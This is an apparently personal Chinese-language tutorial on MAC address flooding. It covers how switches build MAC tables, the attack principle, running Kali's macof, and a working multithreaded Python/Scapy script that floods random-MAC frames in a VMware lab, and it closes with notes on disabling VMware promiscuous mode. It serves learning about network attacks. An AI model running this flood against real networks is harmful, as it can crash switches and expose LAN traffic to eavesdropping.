文章目录
- ==MAC地址泛洪攻击==
- 一、交换机的工作过程
- 二、基本的攻击原理
- 三、攻击方式
- 1、kali工具 - macof
- 2、python代码
- 四、虚拟机的混杂模式
MAC地址泛洪攻击
一、交换机的工作过程
当电脑与交换机连上之后
show mac address-table
我们可以看到
该表中的mac地址和端口号就形成了一一对应的关系
再插一台主机在switcher上
当一个主机上线,交换机与主机之间就可以自主通过协议形成该交换表
二、基本的攻击原理
1、定义任意数据包,并生成随机的MAC地址,不停的发送该数据包
2、该条数据包会流向交换机,而此时的交换机会发现该数据包的源MAC地址不在自己的MAC表中,于是交换机自主学习添加该MAC以及他对应的端口
3、如果发送的构造的数据包数量很大,则会填满MAC表,导致新的数据包无法添加到MAC表中,此时,理论上来说,交换机就会对接下来无法添加进MAC表中的数据包进行广播。
4、一旦交换机进行数据广播,则会导致整个局域网的数据流量全部成员都可见
5、MAC地址泛洪也存在其他情况,比如交换机崩溃,或者整个局域网无法上网等情况。
MAC地址:00:0c:29:ba:c7:bd 一共是16的12次方个,也就是2的48次方个 ,281,474,976,710,656 281万亿种组合
三、攻击方式
1、kali工具 - macof
直接 macof
运行即可,效果有点孩怕,不敢随便使用,害怕给真的交换机搞坏了就完蛋了
2、python代码
def MAC_Flood():
while True:
randommac = RandMAC('*:*:*:*:*:*') # 随机MAC,虽然这里只生成了一个随机MAC,但是用在下面的数据包构造时,源MAC和目的MAC是不一样的,自动调用了两次
# randomip = RandIP('*.*.*.*') # 随机IP,但是好像RandIP用不了
# print(f'randommac : {randommac}')
# print(randomip)
srandip = f'{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}'
drandip = f'{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}'
# print(f'srandip : {srandip}')
# print(f'drandip : {drandip}')
pkg = Ether(src=randommac,dst=randommac)/IP(src=srandip,dst=drandip)
sendp(pkg,iface='VMware Network Adapter VMnet8',loop=0)
# loop=0 表示只发送一次数据包,不循环发送
if __name__ == '__main__':
for i in range(400):
t = threading.Thread(target=MAC_Flood)
t.start()
四、虚拟机的混杂模式
当物理机ping其中一台虚拟机时,另外一台虚拟机是可以直接监听到这个ping的过程的,我在想是不是因为是一个局域网的原因
默认情况下,VMware使用混杂模式,整个网络通信过程类似于广播,任意网段内的流量,均会被其他主机监听
下图是在Kali上检测到物理机ping另外一台虚拟机
下图是在Kali上检测到另外一台虚拟机访问woniuxy
如何禁用混杂模式
修改虚拟机目录下的 .vmx 文件,最后一行添加 ethernet0.noPromisc = "TRUE"
表示禁用该虚拟机的混杂模式